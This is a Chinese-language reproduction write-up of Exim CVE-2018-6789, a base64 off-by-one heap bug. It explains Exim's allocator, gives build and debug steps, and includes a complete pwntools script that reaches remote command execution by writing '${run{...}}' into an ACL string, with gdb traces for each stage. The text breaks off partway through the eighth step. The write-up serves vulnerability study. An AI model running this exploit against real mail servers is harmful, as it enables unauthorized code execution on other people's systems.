Exim Off by one CVE-2018-6789漏洞复现

漏洞原理

在base64.c中的b64decode函数,存在off by one的漏洞。下面的代码中,先根据code的长度分配内存。由于在encode时会按照三个字节一组转换为四字节,decode时则是四个字节一组转换为三字节。当code的长度为4n+3时,则会分配3n+1长度的内存。但是参照代码,实际会分配3n+2个字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
int
b64decode(const uschar *code, uschar **ptr)
{
int x, y;
//漏洞所在
uschar *result = store_get(3*(Ustrlen(code)/4) + 1);

*ptr = result;

/* Each cycle of the loop handles a quantum of 4 input bytes. For the last
quantum this may decode to 1, 2, or 3 output bytes. */

while ((x = *code++) != 0)
{
if (isspace(x)) continue;
/* debug_printf("b64d: '%c'\n", x); */

if (x > 127 || (x = dec64table[x]) == 255) return -1;

while (isspace(y = *code++)) ;
/* debug_printf("b64d: '%c'\n", y); */
if (y == 0 || (y = dec64table[y]) == 255)
return -1;

*result++ = (x << 2) | (y >> 4);
/* debug_printf("b64d: -> %02x\n", result[-1]); */

while (isspace(x = *code++)) ;
/* debug_printf("b64d: '%c'\n", x); */
if (x == '=') /* endmarker, but there should be another */
{
while (isspace(x = *code++)) ;
/* debug_printf("b64d: '%c'\n", x); */
if (x != '=') return -1;
while (isspace(y = *code++)) ;
if (y != 0) return -1;
/* debug_printf("b64d: DONE\n"); */
break;
}
else
{
if (x > 127 || (x = dec64table[x]) == 255) return -1;
*result++ = (y << 4) | (x >> 2);
/* debug_printf("b64d: -> %02x\n", result[-1]); */

while (isspace(y = *code++)) ;
/* debug_printf("b64d: '%c'\n", y); */
if (y == '=')
{
while (isspace(y = *code++)) ;
if (y != 0) return -1;
/* debug_printf("b64d: DONE\n"); */
break;
}
else
{
if (y > 127 || (y = dec64table[y]) == 255) return -1;
*result++ = (x << 6) | y;
/* debug_printf("b64d: -> %02x\n", result[-1]); */
}
}
}

*result = 0;
return result - *ptr;
}
1
2
3
4
假设code剩余的3个字节分别是c1,c2,c3.前面的4n个字节被decode为3n个字节。
d1 = c1<<2|c2>>4
d2 = c2<<4|c3>>2
4n+3 ===> 3n+2

off by one漏洞可以用于堆中对下一个chunk的size的覆写,修改了size就有机会堆溢出,覆盖其他chunk的内容。因此首先了解一下Exim的内存管理机制,方便后续的利用。

Exim的内存管理

总述

Exim有自己的一套内存管理机制。如下图所示,storeblock结构包含next指针和length,next指向下一块storeblock,length的最小长度为0x2000,storeblock则是由glibc的malloc分配的。这些storeblock以单向链表的形式组织起来,由chainbase记录头结点。yield_length为当前storeblock剩余可用的长度,next_yield指向未被分配的地址。用store_get函数申请内存(下面有详细讲解),申请的大小小于yield_length时就在当前storeblock的next_yield处开始分配;否则就再申请一块新的storeblock。

meh的图

管理内存的关键函数:

1
2
3
4
#define store_free(addr)     store_free_3(addr, __FILE__, __LINE__)
#define store_get(size) store_get_3(size, __FILE__, __LINE__)
#define store_malloc(size) store_malloc_3(size, __FILE__, __LINE__)
#define store_reset(addr) store_reset_3(addr, __FILE__, __LINE__)

store_get_3函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
void *
store_get_3(int size, const char *filename, int linenumber)
{
/* Round up the size to a multiple of the alignment. Although this looks a
messy statement, because "alignment" is a constant expression, the compiler can
do a reasonable job of optimizing, especially if the value of "alignment" is a
power of two. I checked this with -O2, and gcc did very well, compiling it to 4
instructions on a Sparc (alignment = 8). */

//将size调整为以8对齐
if (size % alignment != 0) size += alignment - (size % alignment);

/* If there isn't room in the current block, get a new one. The minimum
size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since
these functions are mostly called for small amounts of store. */

//如果申请的大小大于当前storeblock剩余大小
if (size > yield_length[store_pool])
{
//STORE_BLOCK_SIZE为0x2000,ALIGNED_SIZEOF_STOREBLOCK为0x10
int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
storeblock * newblock = NULL;

/* Sometimes store_reset() may leave a block for us; check if we can use it */

//如果当前storeblock有next,且next小于length,释放掉next storeblock
if ( (newblock = current_block[store_pool])
&& (newblock = newblock->next)
&& newblock->length < length
)
{
/* Give up on this block, because it's too small */
store_free(newblock);
newblock = NULL;
}

/* If there was no free block, get a new one */
//store_malloc申请新的storeblock
if (!newblock)
{
pool_malloc += mlength; /* Used in pools */
nonpool_malloc -= mlength; /* Exclude from overall total */
newblock = store_malloc(mlength); //调用store_malloc分配空间,store_malloc见下文
newblock->next = NULL;
newblock->length = length;
if (!chainbase[store_pool])
chainbase[store_pool] = newblock;
else
current_block[store_pool]->next = newblock;
}
//设置current_block,yield_length,next_yield
current_block[store_pool] = newblock;
yield_length[store_pool] = newblock->length;
next_yield[store_pool] =
(void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK);
(void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]);
}

/* There's (now) enough room in the current block; the yield is the next
pointer. */
//store_last_get记录最后一次获取内存的地址
store_last_get[store_pool] = next_yield[store_pool];

/* Cut out the debugging stuff for utilities, but stop picky compilers from
giving warnings. */

#ifdef COMPILE_UTILITY
filename = filename;
linenumber = linenumber;
#else
DEBUG(D_memory)
{
if (running_in_test_harness)
debug_printf("---%d Get %5d\n", store_pool, size);
else
debug_printf("---%d Get %6p %5d %-14s %4d\n", store_pool,
store_last_get[store_pool], size, filename, linenumber);
}
#endif /* COMPILE_UTILITY */
//从store_last_get指向的内存分配size,并更新next_yield,yield_length
(void) VALGRIND_MAKE_MEM_UNDEFINED(store_last_get[store_pool], size);
/* Update next pointer and number of bytes left in the current block. */

next_yield[store_pool] = (void *)(CS next_yield[store_pool] + size);
yield_length[store_pool] -= size;

return store_last_get[store_pool];
}

store_free_3函数

除了调试信息之外,是直接调用glibc的free函数进行释放。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void
store_free_3(void *block, const char *filename, int linenumber)
{
#ifdef COMPILE_UTILITY
filename = filename;
linenumber = linenumber;
#else
DEBUG(D_memory)
{
if (running_in_test_harness)
debug_printf("----Free\n");
else
debug_printf("----Free %6p %-20s %4d\n", block, filename, linenumber);
}
#endif /* COMPILE_UTILITY */
free(block);
}

store_malloc_3函数

store_malloc函数就是调用glibc的malloc函数分配内存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void *
store_malloc_3(int size, const char *filename, int linenumber)
{
void *yield;

if (size < 16) size = 16;

if (!(yield = malloc((size_t)size)))
log_write(0, LOG_MAIN|LOG_PANIC_DIE, "failed to malloc %d bytes of memory: "
"called from line %d of %s", size, linenumber, filename);

nonpool_malloc += size;

……

return yield;
}

store_reset_3函数

该函数释放除指定ptr所在storeblock之外的其他storeblock。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
void
store_reset_3(void *ptr, const char *filename, int linenumber)
{
storeblock * bb;
storeblock * b = current_block[store_pool];
char * bc = CS b + ALIGNED_SIZEOF_STOREBLOCK;
int newlength;

/* Last store operation was not a get */

store_last_get[store_pool] = NULL;

/* See if the place is in the current block - as it often will be. Otherwise,
search for the block in which it lies. */


if (CS ptr < bc || CS ptr > bc + b->length)
{
//从chainbase开始查找ptr所在的storeblock
for (b = chainbase[store_pool]; b; b = b->next)
{
bc = CS b + ALIGNED_SIZEOF_STOREBLOCK;
if (CS ptr >= bc && CS ptr <= bc + b->length) break;
}
if (!b)
log_write(0, LOG_MAIN|LOG_PANIC_DIE, "internal error: store_reset(%p) "
"failed: pool=%d %-14s %4d", ptr, store_pool, filename, linenumber);
}

/* Back up, rounding to the alignment if necessary. When testing, flatten
the released memory. */
//设置current block为ptr所在的storeblock,yield_length为newlength,next_yield为ptr
newlength = bc + b->length - CS ptr;
……
(void) VALGRIND_MAKE_MEM_NOACCESS(ptr, newlength);
yield_length[store_pool] = newlength - (newlength % alignment);
next_yield[store_pool] = CS ptr + (newlength % alignment);
current_block[store_pool] = b;

/* Free any subsequent block. Do NOT free the first successor, if our
current block has less than 256 bytes left. This should prevent us from
flapping memory. However, keep this block only when it has the default size. */
//如果yield_length<256,并且有next,并且next的大小为0x2000,就保留next storeblock
if (yield_length[store_pool] < STOREPOOL_MIN_SIZE &&
b->next &&
b->next->length == STORE_BLOCK_SIZE)
{
b = b->next;
……
(void) VALGRIND_MAKE_MEM_NOACCESS(CS b + ALIGNED_SIZEOF_STOREBLOCK,
b->length - ALIGNED_SIZEOF_STOREBLOCK);
}

bb = b->next;
b->next = NULL;
//释放b之后的所有Storeblock
while ((b = bb))
{
#ifndef COMPILE_UTILITY
if (running_in_test_harness || debug_store)
assert_no_variables(b, b->length + ALIGNED_SIZEOF_STOREBLOCK,
filename, linenumber);
#endif
bb = bb->next;
pool_malloc -= b->length + ALIGNED_SIZEOF_STOREBLOCK;
store_free_3(b, filename, linenumber);
}

……
}

在了解了以上几个管理内存的函数后,继续研究在Exim中的哪些环节调用了这些函数,进而能够理解exp中的操作。

Exim中调用内存管理的关键函数

Exim启动时执行main函数,在main中调用daemo_go,在daemo_go中调用smtp_setup_msg处理客户端的命令,每次用smtp_read_command读取命令,然后根据不同的情况进行处理。

smtp_setup_msg是Exim服务器端比较关键的函数,主要流程的简化代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
smtp_setup_msg(){
int done = 0;
void *reset_pointer = store_get(0);
smtp_reset(reset_pointer);
……
while(done<=0){
……
switch(smtp_read_command(TRUE, GETC_BUFFER_UNLIMITED)){
case AUTH_CMD:
……
break;
case HELO_CMD:
……
goto HELO_EHLO;
case EHLO_CMD:
……
goto HELO_EHLO;

HELO_EHLO:
if (!check_helo(smtp_cmd_data))
……
smtp_reset(reset_pointer);
break;
……
default
……
done = synprot_error(L_smtp_syntax_error, 500, NULL,US"unrecognized command");
break;
}
}
}

上面列出的部分就是与内存相关的函数,下面一一介绍。

smtp_reset函数

smtp_reset最主要的就是调用了store_reset函数,用于释放storeblock。源码这里就不放了,位于smtp_in.c中。

在HELO/EHLO,MAIL,RCPT命令处理结束后,都会调用该函数。

check_helo函数

check_helo对smtp_cmd_data进行字符的检查,包含了对sender_helo_name指向空间的释放(store_free)和重新分配(store_malloc)。该函数调用与EHLO/HELO命令中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
static BOOL
check_helo(uschar *s)
{
uschar *start = s;
uschar *end = s + Ustrlen(s);
BOOL yield = helo_accept_junk;

/* Discard any previous helo name */
//如果sender_helo_name不为空,释放所指内存并置空
if (sender_helo_name != NULL)
{
store_free(sender_helo_name);
sender_helo_name = NULL;
}

/* Skip tests if junk is permitted. */

if (!yield)

/* Allow the new standard form for IPv6 address literals, namely,
[IPv6:....], and because someone is bound to use it, allow an equivalent
IPv4 form. Allow plain addresses as well. */

if (*s == '[')
{
……
}

/* Non-literals must be alpha, dot, hyphen, plus any non-valid chars
that have been configured (usually underscore - sigh). */

else if (*s)
for (yield = TRUE; *s; s++)
if (!isalnum(*s) && *s != '.' && *s != '-' &&
Ustrchr(helo_allow_chars, *s) == NULL)
{
yield = FALSE;
break;
}

/* Save argument if OK */
//重新分配内存给sender_helo_name
if (yield) sender_helo_name = string_copy_malloc(start);
return yield;
}

uschar *
string_copy_malloc(const uschar *s)
{
int len = Ustrlen(s) + 1;
uschar *ss = store_malloc(len);//调用store_malloc
memcpy(ss, s, len);
return ss;
}

synprot_error函数处理unknown cmd

当用户输入的命令为未知命令时,会进入到default分支,调用synprot_error处理unknown cmd。

synprot_error中调用string_printing处理输入的unknown cmd,为之分配(store_get)空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
static int
synprot_error(int type, int code, uschar *data, uschar *errmess)
{
int yield = -1;

log_write(type, LOG_MAIN, "SMTP %s error in \"%s\" %s %s",
(type == L_smtp_syntax_error)? "syntax" : "protocol",
string_printing(smtp_cmd_buffer), host_and_ident(TRUE), errmess);

……

return yield;
}

#define string_printing(s) string_printing2((s), TRUE)

const uschar *
string_printing2(const uschar *s, BOOL allow_tab)
{
//s即为unknown cmd
int nonprintcount = 0;
int length = 0;
const uschar *t = s;
uschar *ss, *tt;

while (*t != 0)
{
int c = *t++;
//nonprintcount为不可打印字符的个数
if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
length++;
}

if (nonprintcount == 0) return s;

/* Get a new block of store guaranteed big enough to hold the
expanded string. */
//为unknown cmd分配空间,当输入的都是不可打印字符时,store_get的参数为4*length+1
ss = store_get(length + nonprintcount * 3 + 1);
……
}

auth_cram_md5_server

在输入AUTH命令时,auth_cram_md5_server函数会被调用。源码中没有体现出来,但是在调试时候能够看见,可能是通过指针调用的。auth_cram_md5_server采用base64编码对数据进行传输,就会调用b64decode。off by one的漏洞就通过AUTH命令来处理。

1
2
3
4
5
6
7
► f 0           465966 store_get_3
f 1 409bf3 b64decode+68
f 2 4832ff auth_cram_md5_server+191
f 3 45f306 smtp_setup_msg+2031
f 4 40d1d0 daemon_go+9509
f 5 4225e9 main+21198
f 6 7f57f4458830 __libc_start_main+240

在有了以上知识之后,就能够比较容易的理解漏洞利用的方法。接下来进入实战环节,对漏洞进行复现。

漏洞利用

EXP

把EXP放在这个位置,目的是先在理论层面理解漏洞利用的方法,接着通过gdb调试来对理论进行验证。

脚本来自skysider 并根据环境修改了一点点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
import time
from base64 import b64encode
from threading import Thread


def ehlo(tube, who):
time.sleep(0.2)
tube.sendline("ehlo "+who)
tube.recv()

def docmd(tube, command):
time.sleep(0.2)
tube.sendline(command)
tube.recv()

def auth(tube, command):
time.sleep(0.2)
tube.sendline("AUTH CRAM-MD5")
tube.recv()
time.sleep(0.2)
tube.sendline(command)
tube.recv()

def execute_command():
global ip
ip = "127.0.0.1"
command="/usr/bin/touch /tmp/success"
context.log_level='warning'
s = remote(ip, 25)

# 1. put a huge chunk into unsorted bin
log.info("send ehlo")
ehlo(s, "a"*0x1000) # 0x2020
raw_input("after 0x1000")
ehlo(s, "a"*0x20)
raw_input("after 0x20")

# 2. cut the first storeblock by unknown command
log.info("send unknown command")
docmd(s, "\xee"*0x700)
raw_input("after 0x700")

# 3. cut the second storeblock and release the first one
log.info("send ehlo again to cut storeblock")
ehlo(s, "c"*0x2c00)
raw_input("after 0x2c00")

# 4. send base64 data and trigger off-by-one
log.info("overwrite one byte of next chunk")
docmd(s, "AUTH CRAM-MD5")
payload1 = "d"*(0x2020+0x30-0x18-1)
docmd(s, b64encode(payload1)+"EfE")
raw_input("after payload1")

# 5. forge chunk size
log.info("forge chunk size")
docmd(s, "AUTH CRAM-MD5")
payload2 = 'm'*0x78+p64(0x1f41)
docmd(s, b64encode(payload2))
raw_input("after payload2")

# 6. release extended chunk
log.info("resend ehlo")
ehlo(s, "skysider+")
raw_input("after release extended chunk")

# 7. overwrite next pointer of overlapped storeblock
log.info("overwrite next pointer of overlapped storeblock")
docmd(s, "AUTH CRAM-MD5")
try_addr = 0x1a3e490
payload3 = 'a'*0x2bf0 + p64(0x0) + p64(0x2021) +p64(try_addr)+p64(0x2000)
try:
docmd(s, b64encode(payload3))
raw_input("after payload3")

# 8. reset storeblocks and retrive the ACL storeblock
log.info("reset storeblock")
ehlo(s, "crashed")
raw_input("after realease storeblock")

# 9. overwrite acl strings
log.info("overwrite acl strings")
payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)
payload4 += 't'*(0x1f80-len(payload4))
auth(s, b64encode(payload4)+'ee')
raw_input("after payload4")

payload5 = "a"*0x80 + "${run{" + command + "}}\x00"
auth(s, b64encode(payload5)+"ee")
raw_input("after payload5")

# 10. trigger acl check
log.info("trigger acl check and execute command")
s.sendline("MAIL FROM: <test@163.com>")
s.close()
return 1
except:
s.close()
return 0

if __name__ == '__main__':
execute_command()

漏洞利用思路

漏洞利用的思路为:构造三个chunk,第一块用于off by one修改第二块的size;第二块用于修改size后溢出修改掉下一块的next指针;第三块用于伪造躲过free检查的chunk以及提供被修改的next指针。修改掉next为acl_check_mail之后,通过smtp_reset将next指向的storeblock放入unsortedbin,并通过再次分配,覆写掉acl_check_mail中的字符串为要执行的cmd,最后触发acl_check执行cmd。

环境配置

环境配置主要是按照skysider的Dockerfile进行配置的(但并没有用Docker,只是用了Dockerfile里的命令),也结合了其他师傅的blog。

1
2
3
4
5
6
7
8
9
10
11
12
13
#安装依赖库(总结了几个博客中的库,都安上了
$apt install libpcre++-dev libdb-dev libxt-dev libxaw7-dev libssl-dev libpcre3-dev
#下载exim源码
$wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz
$tar xf exim-4.89.tar.xz && cd exim-4.89
$cp src/EDITME Local/Makefile && cp exim_monitor/EDITME Local/eximon.conf
#手动修改Makefile中的第134行EXIM_USER为当前用户(我的是test),625行 AUTH_CRAM_MD5=yes

#编译
$make
$sudo make install

#手动修改/usr/exim/configure文件中第364行的accept hosts=:为accept hosts=*

安装完成后,以conf.conf文件作为配置文件运行exim:

1
$/usr/exim/bin/exim -bd -d-receive -C docker/conf.conf

复现过程

设置的断点为:

1
2
3
4
5
b check_helo
b smtp_reset
b b64decode
b store_get_3
b store_free_3

调试的方法是在exp里加入了raw_input辅助调试,起到让程序暂停的功能;另起一个python,用gdb.attach(pid)连上服务器端的子进程。

Step 1

ehlo 0x1000

check_helo:store_malloc(0x1000)

smtp_reset 无

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> unsortedbin
unsortedbin
all: 0x1a5e770 —▸ 0x7f57f47fcb78 (main_arena+88) ◂— 0x1a5e770
pwndbg> x/8gx 0x1a5e770
0x1a5e770: 0x0000000000000000 0x0000000000006061
0x1a5e780: 0x00007f57f47fcb78 0x00007f57f47fcb78
0x1a5e790: 0x0000000000000000 0x0000000000000000
0x1a5e7a0: 0x6161616161616161 0x6161616161616161
pwndbg> x/8gx 0x1a5e770-0x1010
0x1a5d760: 0x0000000000000000 0x0000000000001011
0x1a5d770: 0x6161616161616161 0x6161616161616161
0x1a5d780: 0x6161616161616161 0x6161616161616161
0x1a5d790: 0x6161616161616161 0x6161616161616161

#ehlo后sender_helo_name的返回的地址是0x1a5d760,后面是一个0x6060的unsortedbin

关于这个0x6060的unsoredbin是怎么来的,是因为EHLO命令在check_helo之后还有一些其他的处理,调用了store_get,在EHLO命令结束之前调用了smtp_reset,将这些storeblock释放掉了,几个连续的storeblock合并成了这个unsoretedbin。这里简单列出几个函数,主要是match_isinlist和host_build_sender_fullhost,而且每个会重复几遍。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 ► f 0           465966 store_get_3
f 1 46687f string_copy+42
f 2 467f17 string_sprintf+250
f 3 43b5dd match_check_list+170
f 4 43ca7d match_isinlist+199
f 5 45f7ec smtp_setup_msg+3285
f 6 40d1d0 daemon_go+9509
f 7 4225e9 main+21198
f 8 7f57f4458830 __libc_start_main+240


► f 0 465966 store_get_3
f 1 46687f string_copy+42
f 2 467f17 string_sprintf+250
f 3 4359ce host_build_sender_fullhost+83
f 4 45f7fe smtp_setup_msg+3303
f 5 40d1d0 daemon_go+9509
f 6 4225e9 main+21198
f 7 7f57f4458830 __libc_start_main+240


► f 0 465966 store_get_3
f 1 466f14 string_catn+97
f 2 435bbb host_build_sender_fullhost+576
f 3 45f7fe smtp_setup_msg+3303
f 4 40d1d0 daemon_go+9509
f 5 4225e9 main+21198
f 6 7f57f4458830 __libc_start_main+240

► f 0 465966 store_get_3
f 1 46687f string_copy+42
f 2 467f17 string_sprintf+250
f 3 45f9d5 smtp_setup_msg+3774
f 4 40d1d0 daemon_go+9509
f 5 4225e9 main+21198
f 6 7f57f4458830 __libc_start_main+240


► f 0 465966 store_get_3
f 1 46687f string_copy+42
f 2 467f17 string_sprintf+250
f 3 43b5dd match_check_list+170
f 4 470888 verify_check_this_host+168
f 5 4708fb verify_check_host+44
f 6 45fc4f smtp_setup_msg+4408
f 7 40d1d0 daemon_go+9509
f 8 4225e9 main+21198
f 9 7f57f4458830 __libc_start_main+240
……

ehlo 0x20

check_helo:store_free(0x1a5d760)释放后与unsortedbin合并,即unsortedbin为0x1a5d760

​ store_malloc(0x30) 返回0x1a5d760,unsortedbin为0x1a5d790

smtp_reset 无

1
2
unsortedbin
all: 0x1a5d790 —▸ 0x7f57f47fcb78 (main_arena+88) ◂— 0x1a5d790

Step 2

unknown cmd 0x700

在string_printing2里,为未知的命令分配了4*length+1的空间。这里是0x700*4+1=0x1c01,即store_get(0x1c01)。由于yield_length不够,因此在store_get_3里用store_malloc分配了一个0x2000的storeblock,是从刚才的unsoredbin中分配的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 ► f 0           465966 store_get_3
f 1 46662a string_printing2+136
f 2 45c77a synprot_error+49
f 3 462284 smtp_setup_msg+14189
f 4 40d1d0 daemon_go+9509
f 5 4225e9 main+21198
f 6 7f57f4458830 __libc_start_main+240
Breakpoint store_get_3
pwndbg> i r rdi
rdi 0x1c01 7169
pwndbg> p yield_length
$1 = 7048
……
pwndbg> i r rax #finish之后返回值为0x1a5d7b0
rax 0x1a5d7b0 27645872
pwndbg> unsortedbin
unsortedbin
all: 0x1a5f7b0 —▸ 0x7f57f47fcb78 (main_arena+88) ◂— 0x1a5f7b0

Step 3

ehlo 0x2c00

check_helo:store_free(0x1a5d760)

​ store_malloc(0x2c00) 返回0x1a5f7b0,unsortedbin为0x1a623c0

smtp_reset:释放unknown cmd 0x1a5d7b0,释放时和前面的0x30合并了(中间夹杂了其他复杂的过程)变成0x1a5d760

1
2
3
pwndbg> unsortedbin
unsortedbin
all: 0x1a623c0 —▸ 0x1a68810 —▸ 0x1a5d760 —▸ 0x7f57f47fcb78 (main_arena+88) ◂— 0x1a623c0

Step 4

AUTH 0X2050, off by one

AUTH命令过程中有一些其他的store_get,但size都比较小,从原storeblock分配了。

客户端发送的字节长度为0x2AF7,根据前面b64decode的代码,会分配0x2AF7/4*3+1 = 0x2038字节,但实际解码时候需要0x2039字节,调用store_get(0x2038),分配0x2050,返回地址为0x1a5d780,产生的off by one,覆盖到下一块的size最后一字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 ► f 0           465966 store_get_3
f 1 409bf3 b64decode+68
f 2 4832ff auth_cram_md5_server+191
f 3 45f306 smtp_setup_msg+2031
f 4 40d1d0 daemon_go+9509
f 5 4225e9 main+21198
f 6 7f57f4458830 __libc_start_main+240
Breakpoint store_get_3
pwndbg> i r rdi
rdi 0x2038 8248
pwndbg> unsortedbin
unsortedbin
all: 0x1a623c0 —▸ 0x1a68810 —▸ 0x1a5d760 —▸ 0x7f57f47fcb78 (main_arena+88) ◂— 0x1a623c0
……
pwndbg> i r rax
rax 0x1a5d780 27645824

pwndbg> x/8gx 0x1a5d780-0x10-0x10
0x1a5d760: 0x0000000000000000 0x0000000000002051
0x1a5d770: 0x0000000000000000 0x0000000000002038
0x1a5d780: 0x6464646464646464 0x6464646464646464
0x1a5d790: 0x6464646464646464 0x6464646464646464
pwndbg> x/8gx 0x1a5d760+0x2050 #下一块大小已经被覆盖为0x2cf1
0x1a5f7b0: 0x1164646464646464 0x0000000000002cf1
0x1a5f7c0: 0x6363636363636363 0x6363636363636363
0x1a5f7d0: 0x6363636363636363 0x6363636363636363
0x1a5f7e0: 0x6363636363636363 0x6363636363636363

pwndbg> unsortedbin
unsortedbin
all: 0x1a623c0 —▸ 0x1a68810 —▸ 0x7f57f47fcb78 (main_arena+88)

AUTH在b64decode之后还有一些额外的store_get(例如expand_string函数中),会重新分配一个0x2000大小的storeblock,由于0x1a68810的大小是0xb0a0虽然大于0x2000但不是last remainder,所以被丢进了largebin,于是从0x1a623c0分的。

1
2
3
4
5
pwndbg> i r rax
rax 0x1a623e0 27665376
pwndbg> unsortedbin
unsortedbin
all: 0x1a643e0 —▸ 0x7f57f47fcb78 (main_arena+88) ◂— 0x1a643e0

expand_string的一些小块就都在这个0x1a623c0中分配。

Step 5

AUTH构造fake chunk

构造fake chunk的目的在于,当0x2cf0大小的块被释放时,free会检查下一块的inuse位(确定本块是否已释放)以及下下一块的inuse(确定下一块是否空闲)

同上一步一样,b64decode之前有一些小块的分配,都从0x1a623c0中分配。在b64decode之前,next_yield为0x1a62430。

1
2
pwndbg> x/8gx 0x6bfb80
0x6bfb80 <next_yield>: 0x0000000001a62430 0x0000000001a79118

由于0x20f0的chunk地址为0x1a5f7b0,被修改之后的chunk结尾为0x1a624a0。距离next_yield 0x1a62430还有0x70的填充长度,则距离fake size为0x78的长度。

当AUTH发送的内容为’m’*0x78+p64(0x1f41)时,b64decode的store_get将从0x1a624a0开始分配0x80的长度,成功将假的下一块的size写为0x1f41。

Step 6

ehlo skysider+

check_helo:store_free(0x1a5f7b0)

这里的+会在check_helo中导致提前退出,没有store_malloc。

1
2
3
4
5
6
7
for (yield = TRUE; *s; s++)
if (!isalnum(*s) && *s != '.' && *s != '-' &&
Ustrchr(helo_allow_chars, *s) == NULL)
{
yield = FALSE;
break;
}

而在check_helo返回FALSE时,也会提前退出,没有smtp_reset

1
2
3
4
5
6
7
8
9
10
11
12
13
if (!check_helo(smtp_cmd_data))
{
smtp_printf("501 Syntactically invalid %s argument(s)\r\n", FALSE, hello);

log_write(0, LOG_MAIN|LOG_REJECT, "rejected %s from %s: syntactically "
"invalid argument(s): %s", hello, host_and_ident(FALSE),
(*smtp_cmd_argument == 0)? US"(no argument given)" :
string_printing(smtp_cmd_argument));

……

break;
}
1
2
3
pwndbg> unsortedbin
unsortedbin
all: 0x1a5f7b0 —▸ 0x1a64470 —▸ 0x7f57f47fcb78 (main_arena+88) ◂— 0x1a5f7b0

Step 7

AUTH 覆写0x1a623b0的next指针

使用MAIL FROM时,acl_check会对每个配置进行检查,这个过程中会调用expand_string,而如果expand_string的参数为${run${cmd}},就会执行cmd,具体调用如下:

acl_check->acl_check_internal->expand_string->child_open->execv

我们在conf.conf中指定了acl_smtp_mail=acl_check_mail。如果能够将acl_check_mail所在位置的字符串修改为${run${cmd}}形式,就能执行命令了。这里是将next指针修改为acl_check_mail地址所属的storeblock,这样在smtp_reset时会把这个storeblock放入unsortedbin,当再次分配时就能向acl_check_mail字符串地址中写入命令,完成利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> x/8gx &acl_smtp_mail
0x6bf360 <acl_smtp_mail>: 0x0000000001a3e520 0x0000000000000000
0x6bf370 <acl_smtp_expn>: 0x0000000000000000 0x0000000000000000
0x6bf380 <acl_smtp_data>: 0x0000000001a3e530 0x0000000000000000
0x6bf390 <acl_smtp_auth>: 0x0000000000000000 0x0000000000000000
……
#0x1a3e520本来是字符串"acl_check_mail",试图修改为cmd
#该堆块的起始头尾0x1a3e480,可将next覆写为这个地址+0x10(即为storeblock的起始地址),能够躲过free的检查

#修改了next指针
pwndbg> x/8gx 0x1a623c0
0x1a623c0: 0x0000000000000000 0x0000000000002021
0x1a623d0: 0x0000000001a3e490 0x0000000000002000
0x1a623e0: 0x0000000001a62300 0x00000000000000c1
0x1a623f0: 0x00007f57f47fcb78 0x00007f57f47fcb78

Step 8

ehlo crashed

目的在于EHLO命令结束之前的smtp_reset,会将acl_check_mail所在的storeblock释放到unsortedbin中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#reset之前的chainbase:
pwndbg> x/8gx 0x6bfbc0
0x6bfbc0 <chainbase>: 0x0000000001a4fa40 0x0000000001a3e490
……
pwndbg> x/8gx 0x0000000001a4fa40
0x1a4fa40: 0x0000000001a5d770 0x0000000000002000
……
pwndbg> x/8gx 0x0000000001a5d770
0x1a5d770: 0x0000000001a623d0 0x0000000000002038
……
pwndbg> x/8gx 0x0000000001a623d0
0x1a623d0: 0x0000000001a3e490 0x0000000000002000
……

#即0x1a4fa40->0x1a5d770(0x2050)->0x1a623d0(0x2020)->0x1a3e490

#reset结束后,ub为
pwndbg> unsortedbin
unsortedbin
